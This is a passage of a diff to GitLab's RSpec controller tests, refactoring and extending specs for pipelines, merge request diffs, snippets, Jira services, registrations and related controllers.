+
+ context 'when artifacts are locked' do
+ before do
+ job.pipeline.artifacts_locked!
+ end
+
+ it 'exposes needed information' do
+ get_show_json
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to match_response_schema('job/job_details')
+ expect(json_response['artifact']).to have_key('download_path')
+ expect(json_response['artifact']).to have_key('browse_path')
+ expect(json_response['artifact']).to have_key('keep_path')
+ expect(json_response['artifact']['expired']).to eq(true)
+ expect(json_response['artifact']['expire_at']).not_to be_empty
+ expect(json_response['artifact']['locked']).to eq(true)
+ end
end
end
end
diff --git a/spec/controllers/projects/merge_requests/content_controller_spec.rb b/spec/controllers/projects/merge_requests/content_controller_spec.rb
index 7fb20b4666a..67d3ef6f4f0 100644
--- a/spec/controllers/projects/merge_requests/content_controller_spec.rb
+++ b/spec/controllers/projects/merge_requests/content_controller_spec.rb
@@ -48,6 +48,9 @@ RSpec.describe Projects::MergeRequests::ContentController do
expect(merge_request).to receive(:check_mergeability)
do_request(:widget)
+
+ expect(response).to match_response_schema('entities/merge_request_poll_widget')
+ expect(response.headers['Poll-Interval']).to eq('10000')
end
context 'merged merge request' do
@@ -59,6 +62,21 @@ RSpec.describe Projects::MergeRequests::ContentController do
do_request(:widget)
expect(response).to match_response_schema('entities/merge_request_poll_widget')
+ expect(response.headers['Poll-Interval']).to eq('300000')
+ end
+ end
+
+ context 'with coverage data' do
+ let(:merge_request) { create(:merge_request, target_project: project, source_project: project, head_pipeline: head_pipeline) }
+ let!(:base_pipeline) { create(:ci_empty_pipeline, project: project, ref: merge_request.target_branch, sha: merge_request.diff_base_sha) }
+ let!(:head_pipeline) { create(:ci_empty_pipeline, project: project) }
+ let!(:rspec_base) { create(:ci_build, name: 'rspec', coverage: 93.1, pipeline: base_pipeline) }
+ let!(:rspec_head) { create(:ci_build, name: 'rspec', coverage: 97.1, pipeline: head_pipeline) }
+
+ it 'renders widget MR entity as json' do
+ do_request(:widget)
+
+ expect(response).to match_response_schema('entities/merge_request_poll_widget')
end
end
end
diff --git a/spec/controllers/projects/merge_requests/diffs_controller_spec.rb b/spec/controllers/projects/merge_requests/diffs_controller_spec.rb
index 217447c2ad6..91770a00081 100644
--- a/spec/controllers/projects/merge_requests/diffs_controller_spec.rb
+++ b/spec/controllers/projects/merge_requests/diffs_controller_spec.rb
@@ -58,39 +58,6 @@ RSpec.describe Projects::MergeRequests::DiffsController do
end
end
- shared_examples 'persisted preferred diff view cookie' do
- context 'with view param' do
- before do
- go(view: 'parallel')
- end
-
- it 'saves the preferred diff view in a cookie' do
- expect(response.cookies['diff_view']).to eq('parallel')
- end
-
- it 'only renders the required view', :aggregate_failures do
- diff_files_without_deletions = json_response['diff_files'].reject { |f| f['deleted_file'] }
- have_no_inline_diff_lines = satisfy('have no inline diff lines') do |diff_file|
- !diff_file.has_key?('highlighted_diff_lines')
- end
-
- expect(diff_files_without_deletions).to all(have_key('parallel_diff_lines'))
- expect(diff_files_without_deletions).to all(have_no_inline_diff_lines)
- end
- end
-
- context 'when the user cannot view the merge request' do
- before do
- project.team.truncate
- go
- end
-
- it 'returns a 404' do
- expect(response).to have_gitlab_http_status(:not_found)
- end
- end
- end
-
shared_examples "diff note on-demand position creation" do
it "updates diff discussion positions" do
service = double("service")
@@ -155,7 +122,6 @@ RSpec.describe Projects::MergeRequests::DiffsController do
it_behaves_like 'forked project with submodules'
end
- it_behaves_like 'persisted preferred diff view cookie'
it_behaves_like 'cached diff collection'
it_behaves_like 'diff note on-demand position creation'
end
@@ -414,6 +380,7 @@ RSpec.describe Projects::MergeRequests::DiffsController do
def collection_arguments(pagination_data = {})
{
+ environment: nil,
merge_request: merge_request,
diff_view: :inline,
pagination_data: {
@@ -439,18 +406,6 @@ RSpec.describe Projects::MergeRequests::DiffsController do
it_behaves_like '404 for unexistent diffable'
- context 'when feature is disabled' do
- before do
- stub_feature_flags(diffs_batch_load: false)
- end
-
- it 'returns 404' do
- go
-
- expect(response).to have_gitlab_http_status(:not_found)
- end
- end
-
context 'when not authorized' do
let(:other_user) { create(:user) }
@@ -522,7 +477,6 @@ RSpec.describe Projects::MergeRequests::DiffsController do
end
it_behaves_like 'forked project with submodules'
- it_behaves_like 'persisted preferred diff view cookie'
it_behaves_like 'cached diff collection'
context 'diff unfolding' do
diff --git a/spec/controllers/projects/merge_requests_controller_spec.rb b/spec/controllers/projects/merge_requests_controller_spec.rb
index 8e1b250cd3c..ee194e5ff2f 100644
--- a/spec/controllers/projects/merge_requests_controller_spec.rb
+++ b/spec/controllers/projects/merge_requests_controller_spec.rb
@@ -44,6 +44,16 @@ RSpec.describe Projects::MergeRequestsController do
get :show, params: params.merge(extra_params)
end
+ context 'with view param' do
+ before do
+ go(view: 'parallel')
+ end
+
+ it 'saves the preferred diff view in a cookie' do
+ expect(response.cookies['diff_view']).to eq('parallel')
+ end
+ end
+
context 'when merge request is unchecked' do
before do
merge_request.mark_as_unchecked!
@@ -77,6 +87,22 @@ RSpec.describe Projects::MergeRequestsController do
end
end
+ context 'with `default_merge_ref_for_diffs` feature flag enabled' do
+ before do
+ stub_feature_flags(default_merge_ref_for_diffs: true)
+ go
+ end
+
+ it 'adds the diff_head parameter' do
+ expect(assigns["endpoint_metadata_url"]).to eq(
+ diffs_metadata_project_json_merge_request_path(
+ project,
+ merge_request,
+ 'json',
+ diff_head: true))
+ end
+ end
+
context 'when diff is missing' do
render_views
@@ -97,6 +123,16 @@ RSpec.describe Projects::MergeRequestsController do
expect(response).to be_successful
end
+ it 'logs the view with Gitlab::Search::RecentMergeRequests' do
+ recent_merge_requests_double = instance_double(::Gitlab::Search::RecentMergeRequests, log_view: nil)
+ expect(::Gitlab::Search::RecentMergeRequests).to receive(:new).with(user: user).and_return(recent_merge_requests_double)
+
+ go(format: :html)
+
+ expect(response).to be_successful
+ expect(recent_merge_requests_double).to have_received(:log_view).with(merge_request)
+ end
+
context "that is invalid" do
let(:merge_request) { create(:invalid_merge_request, target_project: project, source_project: project) }
diff --git a/spec/controllers/projects/milestones_controller_spec.rb b/spec/controllers/projects/milestones_controller_spec.rb
index 0c7391c1b9c..fa32d32f552 100644
--- a/spec/controllers/projects/milestones_controller_spec.rb
+++ b/spec/controllers/projects/milestones_controller_spec.rb
@@ -135,10 +135,6 @@ RSpec.describe Projects::MilestonesController do
end
describe "#destroy" do
- before do
- stub_feature_flags(track_resource_milestone_change_events: false)
- end
-
it "removes milestone" do
expect(issue.milestone_id).to eq(milestone.id)
@@ -153,10 +149,6 @@ RSpec.describe Projects::MilestonesController do
merge_request.reload
expect(merge_request.milestone_id).to eq(nil)
-
- # Check system note left for milestone removal
- last_note = project.issues.find(issue.id).notes[-1].note
- expect(last_note).to eq('removed milestone')
end
end
diff --git a/spec/controllers/projects/notes_controller_spec.rb b/spec/controllers/projects/notes_controller_spec.rb
index 570d65dba4f..8c59b2b378f 100644
--- a/spec/controllers/projects/notes_controller_spec.rb
+++ b/spec/controllers/projects/notes_controller_spec.rb
@@ -98,7 +98,7 @@ RSpec.describe Projects::NotesController do
let(:page_2_boundary) { microseconds(page_2.last.updated_at + NotesFinder::FETCH_OVERLAP) }
around do |example|
- Timecop.freeze do
+ freeze_time do
example.run
end
end
diff --git a/spec/controllers/projects/pipelines_controller_spec.rb b/spec/controllers/projects/pipelines_controller_spec.rb
index ef560f6426b..c3be7de25a8 100644
--- a/spec/controllers/projects/pipelines_controller_spec.rb
+++ b/spec/controllers/projects/pipelines_controller_spec.rb
@@ -43,7 +43,7 @@ RSpec.describe Projects::PipelinesController do
end
end
- it 'executes N+1 queries' do
+ it 'does not execute N+1 queries' do
get_pipelines_index_json
control_count = ActiveRecord::QueryRecorder.new do
@@ -53,7 +53,7 @@ RSpec.describe Projects::PipelinesController do
create_all_pipeline_types
# There appears to be one extra query for Pipelines#has_warnings? for some reason
- expect { get_pipelines_index_json }.not_to exceed_query_limit(control_count + 7)
+ expect { get_pipelines_index_json }.not_to exceed_query_limit(control_count + 1)
expect(response).to have_gitlab_http_status(:ok)
expect(json_response['pipelines'].count).to eq 12
end
@@ -763,6 +763,71 @@ RSpec.describe Projects::PipelinesController do
end
end
+ describe 'POST create.json' do
+ let(:project) { create(:project, :public, :repository) }
+
+ subject do
+ post :create, params: {
+ namespace_id: project.namespace,
+ project_id: project,
+ pipeline: { ref: 'master' }
+ },
+ format: :json
+ end
+
+ before do
+ project.add_developer(user)
+ project.project_feature.update(builds_access_level: feature)
+ end
+
+ context 'with a valid .gitlab-ci.yml file' do
+ before do
+ stub_ci_pipeline_yaml_file(YAML.dump({
+ test: {
+ stage: 'test',
+ script: 'echo'
+ }
+ }))
+ end
+
+ it 'creates a pipeline' do
+ expect { subject }.to change { project.ci_pipelines.count }.by(1)
+
+ expect(response).to have_gitlab_http_status(:created)
+ expect(json_response['id']).to eq(project.ci_pipelines.last.id)
+ end
+ end
+
+ context 'with an invalid .gitlab-ci.yml file' do
+ before do
+ stub_ci_pipeline_yaml_file(YAML.dump({
+ build: {
+ stage: 'build',
+ script: 'echo',
+ rules: [{ when: 'always' }]
+ },
+ test: {
+ stage: 'invalid',
+ script: 'echo'
+ }
+ }))
+ end
+
+ it 'does not create a pipeline' do
+ expect { subject }.not_to change { project.ci_pipelines.count }
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ expect(json_response['errors']).to eq([
+ 'test job: chosen stage does not exist; available stages are .pre, build, test, deploy, .post'
+ ])
+ expect(json_response['warnings'][0]).to include(
+ 'jobs:build may allow multiple pipelines to run for a single action due to `rules:when`'
+ )
+ expect(json_response['total_warnings']).to eq(1)
+ end
+ end
+ end
+
describe 'POST retry.json' do
let!(:pipeline) { create(:ci_pipeline, :failed, project: project) }
let!(:build) { create(:ci_build, :failed, pipeline: pipeline) }
diff --git a/spec/controllers/projects/services_controller_spec.rb b/spec/controllers/projects/services_controller_spec.rb
index 50f474c0222..8f928cf3382 100644
--- a/spec/controllers/projects/services_controller_spec.rb
+++ b/spec/controllers/projects/services_controller_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe Projects::ServicesController do
+ include JiraServiceHelper
+
let(:project) { create(:project, :repository) }
let(:user) { create(:user) }
let(:service) { create(:jira_service, project: project) }
@@ -54,8 +56,7 @@ RSpec.describe Projects::ServicesController do
end
it 'returns success' do
- stub_request(:get, 'http://example.com/rest/api/2/serverInfo')
- .to_return(status: 200, body: '{}')
+ stub_jira_service_test
expect(Gitlab::HTTP).to receive(:get).with('/rest/api/2/serverInfo', any_args).and_call_original
@@ -66,8 +67,7 @@ RSpec.describe Projects::ServicesController do
end
it 'returns success' do
- stub_request(:get, 'http://example.com/rest/api/2/serverInfo')
- .to_return(status: 200, body: '{}')
+ stub_jira_service_test
expect(Gitlab::HTTP).to receive(:get).with('/rest/api/2/serverInfo', any_args).and_call_original
@@ -123,7 +123,7 @@ RSpec.describe Projects::ServicesController do
expect(response).to be_successful
expect(json_response).to eq(
'error' => true,
- 'message' => 'Test failed.',
+ 'message' => 'Connection failed. Please check your settings.',
'service_response' => '',
'test_failed' => true
)
@@ -136,7 +136,7 @@ RSpec.describe Projects::ServicesController do
let(:service_params) { { active: true } }
let(:params) { project_params(service: service_params) }
- let(:message) { 'Jira activated.' }
+ let(:message) { 'Jira settings saved and active.' }
let(:redirect_url) { edit_project_service_path(project, service) }
before do
@@ -175,7 +175,7 @@ RSpec.describe Projects::ServicesController do
context 'when param `active` is set to false' do
let(:service_params) { { active: false } }
- let(:message) { 'Jira settings saved, but not activated.' }
+ let(:message) { 'Jira settings saved, but not active.' }
it_behaves_like 'service update'
end
@@ -200,6 +200,7 @@ RSpec.describe Projects::ServicesController do
describe 'as JSON' do
before do
+ stub_jira_service_test
put :update, params: project_params(service: service_params, format: :json)
end
diff --git a/spec/controllers/projects/settings/operations_controller_spec.rb b/spec/controllers/projects/settings/operations_controller_spec.rb
index 191b718af56..ca1b0d2fe15 100644
--- a/spec/controllers/projects/settings/operations_controller_spec.rb
+++ b/spec/controllers/projects/settings/operations_controller_spec.rb
@@ -152,7 +152,8 @@ RSpec.describe Projects::Settings::OperationsController do
create_issue: 'false',
send_email: 'false',
issue_template_key: 'some-other-template',
- pagerduty_active: 'true'
+ pagerduty_active: 'true',
+ auto_close_incident: 'true'
}
}
end
@@ -171,7 +172,7 @@ RSpec.describe Projects::Settings::OperationsController do
new_incident_management_settings = params
expect(Gitlab::Tracking).to receive(:event)
- .with('IncidentManagement::Settings', event_key, kind_of(Hash))
+ .with('IncidentManagement::Settings', event_key, any_args)
patch :update, params: project_params(project, incident_management_setting_attributes: new_incident_management_settings)
@@ -187,6 +188,8 @@ RSpec.describe Projects::Settings::OperationsController do
it_behaves_like 'a gitlab tracking event', { send_email: '0' }, 'disabled_sending_emails'
it_behaves_like 'a gitlab tracking event', { pagerduty_active: '1' }, 'enabled_pagerduty_webhook'
it_behaves_like 'a gitlab tracking event', { pagerduty_active: '0' }, 'disabled_pagerduty_webhook'
+ it_behaves_like 'a gitlab tracking event', { auto_close_incident: '1' }, 'enabled_auto_close_incident'
+ it_behaves_like 'a gitlab tracking event', { auto_close_incident: '0' }, 'disabled_auto_close_incident'
end
end
diff --git a/spec/controllers/projects/snippets_controller_spec.rb b/spec/controllers/projects/snippets_controller_spec.rb
index bb9b556f442..d0e412dfdb8 100644
--- a/spec/controllers/projects/snippets_controller_spec.rb
+++ b/spec/controllers/projects/snippets_controller_spec.rb
@@ -6,12 +6,12 @@ RSpec.describe Projects::SnippetsController do
include Gitlab::Routing
let_it_be(:user) { create(:user) }
- let_it_be(:user2) { create(:user) }
- let(:project) { create(:project_empty_repo, :public) }
+ let_it_be(:other_user) { create(:user) }
+ let_it_be(:project) { create(:project_empty_repo, :public) }
before do
project.add_maintainer(user)
- project.add_maintainer(user2)
+ project.add_developer(other_user)
end
describe 'GET #index' do
@@ -47,7 +47,7 @@ RSpec.describe Projects::SnippetsController do
end
context 'when the project snippet is private' do
- let!(:project_snippet) { create(:project_snippet, :private, project: project, author: user) }
+ let_it_be(:project_snippet) { create(:project_snippet, :private, project: project, author: user) }
context 'when anonymous' do
it 'does not include the private snippet' do
@@ -59,11 +59,9 @@ RSpec.describe Projects::SnippetsController do
end
context 'when signed in as the author' do
- before do
+ it 'renders the snippet' do
sign_in(user)
- end
- it 'renders the snippet' do
subject
expect(assigns(:snippets)).to include(project_snippet)
@@ -72,11 +70,9 @@ RSpec.describe Projects::SnippetsController do
end
context 'when signed in as a project member' do
- before do
- sign_in(user2)
- end
-
it 'renders the snippet' do
+ sign_in(other_user)
+
subject
expect(assigns(:snippets)).to include(project_snippet)
@@ -171,7 +167,6 @@ RSpec.describe Projects::SnippetsController do
end
describe 'PUT #update' do
- let(:project) { create :project, :public }
let(:visibility_level) { Snippet::PUBLIC }
let(:snippet) { create :project_snippet, author: user, project: project, visibility_level: visibility_level }
@@ -190,20 +185,6 @@ RSpec.describe Projects::SnippetsController do
snippet.reload
end
- it_behaves_like 'updating snippet checks blob is binary' do
- let_it_be(:title) { 'Foo' }
- let(:params) do
- {
- namespace_id: project.namespace.to_param,
- project_id: project,
- id: snippet.id,
- project_snippet: { title: title }
- }
- end
-
- subject { put :update, params: params }
- end
-
context 'when the snippet is spam' do
before do
allow_next_instance_of(Spam::AkismetService) do |instance|
@@ -311,7 +292,7 @@ RSpec.describe Projects::SnippetsController do
end
describe 'POST #mark_as_spam' do
- let(:snippet) { create(:project_snippet, :private, project: project, author: user) }
+ let_it_be(:snippet) { create(:project_snippet, :private, project: project, author: user) }
before do
allow_next_instance_of(Spam::AkismetService) do |instance|
@@ -359,7 +340,7 @@ RSpec.describe Projects::SnippetsController do
%w[show raw].each do |action|
describe "GET ##{action}" do
context 'when the project snippet is private' do
- let(:project_snippet) { create(:project_snippet, :private, :repository, project: project, author: user) }
+ let_it_be(:project_snippet) { create(:project_snippet, :private, :repository, project: project, author: user) }
subject { get action, params: { namespace_id: project.namespace, project_id: project, id: project_snippet.to_param } }
@@ -381,7 +362,7 @@ RSpec.describe Projects::SnippetsController do
context 'when signed in as a project member' do
before do
- sign_in(user2)
+ sign_in(other_user)
end
it_behaves_like 'successful response'
@@ -494,9 +475,8 @@ RSpec.describe Projects::SnippetsController do
subject { get :raw, params: params }
context 'when repository is empty' do
- let(:content) { "first line\r\nsecond line\r\nthird line" }
- let(:formatted_content) { content.gsub(/\r\n/, "\n") }
- let(:project_snippet) do
+ let_it_be(:content) { "first line\r\nsecond line\r\nthird line" }
+ let_it_be(:project_snippet) do
create(
:project_snippet, :public, :empty_repo,
project: project,
@@ -505,6 +485,8 @@ RSpec.describe Projects::SnippetsController do
)
end
+ let(:formatted_content) { content.gsub(/\r\n/, "\n") }
+
context 'CRLF line ending' do
before do
allow_next_instance_of(Blob) do |instance|
@@ -531,7 +513,7 @@ RSpec.describe Projects::SnippetsController do
end
context 'when repository is not empty' do
- let(:project_snippet) do
+ let_it_be(:project_snippet) do
create(
:project_snippet, :public, :repository,
project: project,
@@ -553,7 +535,7 @@ RSpec.describe Projects::SnippetsController do
end
describe 'DELETE #destroy' do
- let!(:snippet) { create(:project_snippet, :private, project: project, author: user) }
+ let_it_be(:snippet) { create(:project_snippet, :private, project: project, author: user) }
let(:params) do
{
@@ -563,20 +545,22 @@ RSpec.describe Projects::SnippetsController do
}
end
+ subject { delete :destroy, params: params }
+
context 'when current user has ability to destroy the snippet' do
before do
sign_in(user)
end
it 'removes the snippet' do
- delete :destroy, params: params
+ subject
expect { snippet.reload }.to raise_error(ActiveRecord::RecordNotFound)
end
context 'when snippet is succesfuly destroyed' do
it 'redirects to the project snippets page' do
- delete :destroy, params: params
+ subject
expect(response).to redirect_to(project_snippets_path(project))
end
@@ -589,7 +573,7 @@ RSpec.describe Projects::SnippetsController do
end
it 'renders the snippet page with errors' do
- delete :destroy, params: params
+ subject
expect(flash[:alert]).to eq('Failed to remove snippet.')
expect(response).to redirect_to(project_snippet_path(project, snippet))
@@ -598,32 +582,13 @@ RSpec.describe Projects::SnippetsController do
end
context 'when current_user does not have ability to destroy the snippet' do
- let(:another_user) { create(:user) }
-
- before do
- sign_in(another_user)
- end
-
it 'responds with status 404' do
- delete :destroy, params: params
+ sign_in(other_user)
- expect(response).to have_gitlab_http_status(:not_found)
- end
- end
- end
+ subject
- describe 'GET #edit' do
- it_behaves_like 'editing snippet checks blob is binary' do
- let(:snippet) { create(:project_snippet, :private, project: project, author: user) }
- let(:params) do
- {
- namespace_id: project.namespace,
- project_id: project,
- id: snippet
- }
+ expect(response).to have_gitlab_http_status(:not_found)
end
-
- subject { get :edit, params: params }
end
end
end
diff --git a/spec/controllers/projects/static_site_editor_controller_spec.rb b/spec/controllers/projects/static_site_editor_controller_spec.rb
index 384218504b9..7883c7e6f81 100644
--- a/spec/controllers/projects/static_site_editor_controller_spec.rb
+++ b/spec/controllers/projects/static_site_editor_controller_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Projects::StaticSiteEditorController do
let_it_be(:project) { create(:project, :public, :repository) }
let_it_be(:user) { create(:user) }
+ let(:data) { instance_double(Hash) }
describe 'GET show' do
let(:default_params) do
@@ -16,6 +17,16 @@ RSpec.describe Projects::StaticSiteEditorController do
}
end
+ let(:service_response) do
+ ServiceResponse.success(payload: data)
+ end
+
+ before do
+ allow_next_instance_of(::StaticSiteEditor::ConfigService) do |instance|
+ allow(instance).to receive(:execute).and_return(service_response)
+ end
+ end
+
context 'User roles' do
context 'anonymous' do
before do
@@ -55,18 +66,26 @@ RSpec.describe Projects::StaticSiteEditorController do
end
it 'assigns a required variables' do
- expect(assigns(:config)).to be_a(Gitlab::StaticSiteEditor::Config)
+ expect(assigns(:data)).to eq(data)
expect(assigns(:ref)).to eq('master')
expect(assigns(:path)).to eq('README.md')
end
- context 'when combination of ref and file path is incorrect' do
+ context 'when combination of ref and path is incorrect' do
let(:default_params) { super().merge(id: 'unknown') }
it 'responds with 404 page' do
expect(response).to have_gitlab_http_status(:not_found)
end
end
+
+ context 'when invalid config file' do
+ let(:service_response) { ServiceResponse.error(message: 'invalid') }
+
+ it 'returns 422' do
+ expect(response).to have_gitlab_http_status(:unprocessable_entity)
+ end
+ end
end
end
end
diff --git a/spec/controllers/projects/todos_controller_spec.rb b/spec/controllers/projects/todos_controller_spec.rb
index e1e1e455094..0e35f401bc8 100644
--- a/spec/controllers/projects/todos_controller_spec.rb
+++ b/spec/controllers/projects/todos_controller_spec.rb
@@ -3,13 +3,14 @@
require('spec_helper')
RSpec.describe Projects::TodosController do
- let(:user) { create(:user) }
- let(:project) { create(:project) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project) }
let(:issue) { create(:issue, project: project) }
let(:merge_request) { create(:merge_request, source_project: project) }
+ let(:design) { create(:design, project: project, issue: issue) }
let(:parent) { project }
- shared_examples 'project todos actions' do
+ shared_examples 'issuable todo actions' do
it_behaves_like 'todos actions'
context 'when not authorized for resource' do
@@ -40,7 +41,7 @@ RSpec.describe Projects::TodosController do
format: 'html'
end
- it_behaves_like 'project todos actions'
+ it_behaves_like 'issuable todo actions'
end
end
@@ -57,7 +58,31 @@ RSpec.describe Projects::TodosController do
format: 'html'
end
- it_behaves_like 'project todos actions'
+ it_behaves_like 'issuable todo actions'
+ end
+ end
+
+ context 'Designs' do
+ include DesignManagementTestHelpers
+
+ before do
+ enable_design_management
+ end
+
+ describe 'POST create' do
+ def post_create
+ post :create,
+ params: {
+ namespace_id: project.namespace,
+ project_id: project,
+ issue_id: issue.id,
+ issuable_id: design.id,
+ issuable_type: 'design'
+ },
+ format: 'html'
+ end
+
+ it_behaves_like 'todos actions'
end
end
end
diff --git a/spec/controllers/projects/web_ide_schemas_controller_spec.rb b/spec/controllers/projects/web_ide_schemas_controller_spec.rb
new file mode 100644
index 00000000000..fbec941aecc
--- /dev/null
+++ b/spec/controllers/projects/web_ide_schemas_controller_spec.rb
@@ -0,0 +1,66 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Projects::WebIdeSchemasController do
+ let_it_be(:developer) { create(:user) }
+ let_it_be(:project) { create(:project, :private, :repository, namespace: developer.namespace) }
+
+ before do
+ project.add_developer(developer)
+
+ sign_in(user)
+ end
+
+ describe 'GET show' do
+ let(:user) { developer }
+ let(:branch) { 'master' }
+
+ subject do
+ get :show, params: {
+ namespace_id: project.namespace.to_param,
+ project_id: project,
+ branch: branch,
+ filename: 'package.json'
+ }
+ end
+
+ before do
+ allow_next_instance_of(::Ide::SchemasConfigService) do |instance|
+ allow(instance).to receive(:execute).and_return(result)
+ end
+ end
+
+ context 'when branch is invalid' do
+ let(:branch) { 'non-existent' }
+
+ it 'returns 422' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:unprocessable_entity)
+ end
+ end
+
+ context 'when a valid schema exists' do
+ let(:result) { { status: :success, schema: { schema: 'Sample Schema' } } }
+
+ it 'returns the schema' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.body).to eq('{"schema":"Sample Schema"}')
+ end
+ end
+
+ context 'when an error occurs parsing the schema' do
+ let(:result) { { status: :error, message: 'Some error occured' } }
+
+ it 'returns 422 with the error' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:unprocessable_entity)
+ expect(response.body).to eq('{"status":"error","message":"Some error occured"}')
+ end
+ end
+ end
+end
diff --git a/spec/controllers/projects/web_ide_terminals_controller_spec.rb b/spec/controllers/projects/web_ide_terminals_controller_spec.rb
index 2ae5899c258..3eb3d5da351 100644
--- a/spec/controllers/projects/web_ide_terminals_controller_spec.rb
+++ b/spec/controllers/projects/web_ide_terminals_controller_spec.rb
@@ -113,7 +113,7 @@ RSpec.describe Projects::WebIdeTerminalsController do
let(:result) { { status: :success } }
before do
- allow_next_instance_of(::Ci::WebIdeConfigService) do |instance|
+ allow_next_instance_of(::Ide::TerminalConfigService) do |instance|
allow(instance).to receive(:execute).and_return(result)
end
diff --git a/spec/controllers/projects_controller_spec.rb b/spec/controllers/projects_controller_spec.rb
index e59493827ba..e4374a8f104 100644
--- a/spec/controllers/projects_controller_spec.rb
+++ b/spec/controllers/projects_controller_spec.rb
@@ -555,26 +555,55 @@ RSpec.describe ProjectsController do
end
shared_examples_for 'updating a project' do
+ context 'when there is a conflicting project path' do
+ let(:random_name) { "project-#{SecureRandom.hex(8)}" }
+ let!(:conflict_project) { create(:project, name: random_name, path: random_name, namespace: project.namespace) }
+
+ it 'does not show any references to the conflicting path' do
+ expect { update_project(path: random_name) }.not_to change { project.reload.path }
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.body).not_to include(random_name)
+ end
+ end
+
context 'when only renaming a project path' do
- it "sets the repository to the right path after a rename" do
+ it "doesnt change the disk_path when using hashed storage" do
+ skip unless project.hashed_storage?(:repository)
+
+ hashed_storage_path = ::Storage::Hashed.new(project).disk_path
original_repository_path = Gitlab::GitalyClient::StorageSettings.allow_disk_access do
project.repository.path
end
- expect { update_project path: 'renamed_path' }
- .to change { project.reload.path }
+ expect { update_project path: 'renamed_path' }.to change { project.reload.path }
expect(project.path).to include 'renamed_path'
assign_repository_path = Gitlab::GitalyClient::StorageSettings.allow_disk_access do
assigns(:repository).path
end
- if project.hashed_storage?(:repository)
- expect(assign_repository_path).to eq(original_repository_path)
- else
- expect(assign_repository_path).to include(project.path)
+ expect(original_repository_path).to include(hashed_storage_path)
+ expect(assign_repository_path).to include(hashed_storage_path)
+ end
+
+ it "upgrades and move project to hashed storage when project was originally legacy" do
+ skip if project.hashed_storage?(:repository)
+
+ hashed_storage_path = Storage::Hashed.new(project).disk_path
+ original_repository_path = Gitlab::GitalyClient::StorageSettings.allow_disk_access do
+ project.repository.path
+ end
+
+ expect { update_project path: 'renamed_path' }.to change { project.reload.path }
+ expect(project.path).to include 'renamed_path'
+
+ assign_repository_path = Gitlab::GitalyClient::StorageSettings.allow_disk_access do
+ assigns(:repository).path
end
+ expect(original_repository_path).not_to include(hashed_storage_path)
+ expect(assign_repository_path).to include(hashed_storage_path)
expect(response).to have_gitlab_http_status(:found)
end
end
diff --git a/spec/controllers/registrations/experience_levels_controller_spec.rb b/spec/controllers/registrations/experience_levels_controller_spec.rb
index cd46cec1641..ee1acf3d93d 100644
--- a/spec/controllers/registrations/experience_levels_controller_spec.rb
+++ b/spec/controllers/registrations/experience_levels_controller_spec.rb
@@ -59,8 +59,6 @@ RSpec.describe Registrations::ExperienceLevelsController do
end
context 'when user is successfully updated' do
- it { is_expected.to set_flash[:message].to('Welcome! You have signed up successfully.') }
-
context 'when no experience_level is sent' do
before do
user.user_preference.update_attribute(:experience_level, :novice)
diff --git a/spec/controllers/registrations_controller_spec.rb b/spec/controllers/registrations_controller_spec.rb
index 2c766035d87..f80e18df22e 100644
--- a/spec/controllers/registrations_controller_spec.rb
+++ b/spec/controllers/registrations_controller_spec.rb
@@ -128,7 +128,7 @@ RSpec.describe RegistrationsController do
post(:create, params: user_params)
expect(ActionMailer::Base.deliveries.last.to.first).to eq(user_params[:user][:email])
- expect(response).to redirect_to(dashboard_projects_path)
+ expect(response).to redirect_to(users_sign_up_welcome_path)
end
end
end
@@ -164,10 +164,10 @@ RSpec.describe RegistrationsController do
expect(flash[:alert]).to eq(_('There was an error with the reCAPTCHA. Please solve the reCAPTCHA again.'))
end
- it 'redirects to the dashboard when the reCAPTCHA is solved' do
+ it 'redirects to the welcome page when the reCAPTCHA is solved' do
post(:create, params: user_params)
- expect(flash[:notice]).to eq(I18n.t('devise.registrations.signed_up'))
+ expect(response).to redirect_to(users_sign_up_welcome_path)
end
end
@@ -316,6 +316,12 @@ RSpec.describe RegistrationsController do
stub_experiment(signup_flow: true, terms_opt_in: true)
end
+ it 'records user for the terms_opt_in experiment' do
+ expect(controller).to receive(:record_experiment_user).with(:terms_opt_in)
+
+ subject
+ end
+
context 'when user is not part of the experiment' do
before do
stub_experiment_for_user(signup_flow: true, terms_opt_in: false)
@@ -458,42 +464,35 @@ RSpec.describe RegistrationsController do
describe '#welcome' do
subject { get :welcome }
- context 'signup_flow experiment enabled' do
- before do
- stub_experiment_for_user(signup_flow: true)
- end
+ it 'renders the devise_experimental_separate_sign_up_flow layout' do
+ sign_in(create(:user))
- it 'renders the devise_experimental_separate_sign_up_flow layout' do
- sign_in(create(:user))
+ expected_layout = Gitlab.ee? ? :checkout : :devise_experimental_separate_sign_up_flow
- expected_layout = Gitlab.ee? ? :checkout : :devise_experimental_separate_sign_up_flow
+ expect(subject).to render_template(expected_layout)
+ end
- expect(subject).to render_template(expected_layout)
+ context '2FA is required from group' do
+ before do
+ user = create(:user, require_two_factor_authentication_from_group: true)
+ sign_in(user)
end
- context '2FA is required from group' do
- before do
- user = create(:user, require_two_factor_authentication_from_group: true)
- sign_in(user)
- end
-
- it 'does not perform a redirect' do
- expect(subject).not_to redirect_to(profile_two_factor_auth_path)
- end
+ it 'does not perform a redirect' do
+ expect(subject).not_to redirect_to(profile_two_factor_auth_path)
end
end
+ end
- context 'signup_flow experiment disabled' do
- before do
- sign_in(create(:user))
- stub_experiment_for_user(signup_flow: false)
- end
-
- it 'renders the devise layout' do
- expected_layout = Gitlab.ee? ? :checkout : :devise
+ describe '#update_registration' do
+ subject(:update_registration) do
+ patch :update_registration, params: { user: { role: 'software_developer', setup_for_company: 'false' } }
+ end
- expect(subject).to render_template(expected_layout)
- end
+ before do
+ sign_in(create(:user))
end
+
+ it { is_expected.to redirect_to(dashboard_projects_path)}
end
end
diff --git a/spec/controllers/search_controller_spec.rb b/spec/controllers/search_controller_spec.rb
index a41ff28841d..f244392bbad 100644
--- a/spec/controllers/search_controller_spec.rb
+++ b/spec/controllers/search_controller_spec.rb
@@ -95,49 +95,77 @@ RSpec.describe SearchController do
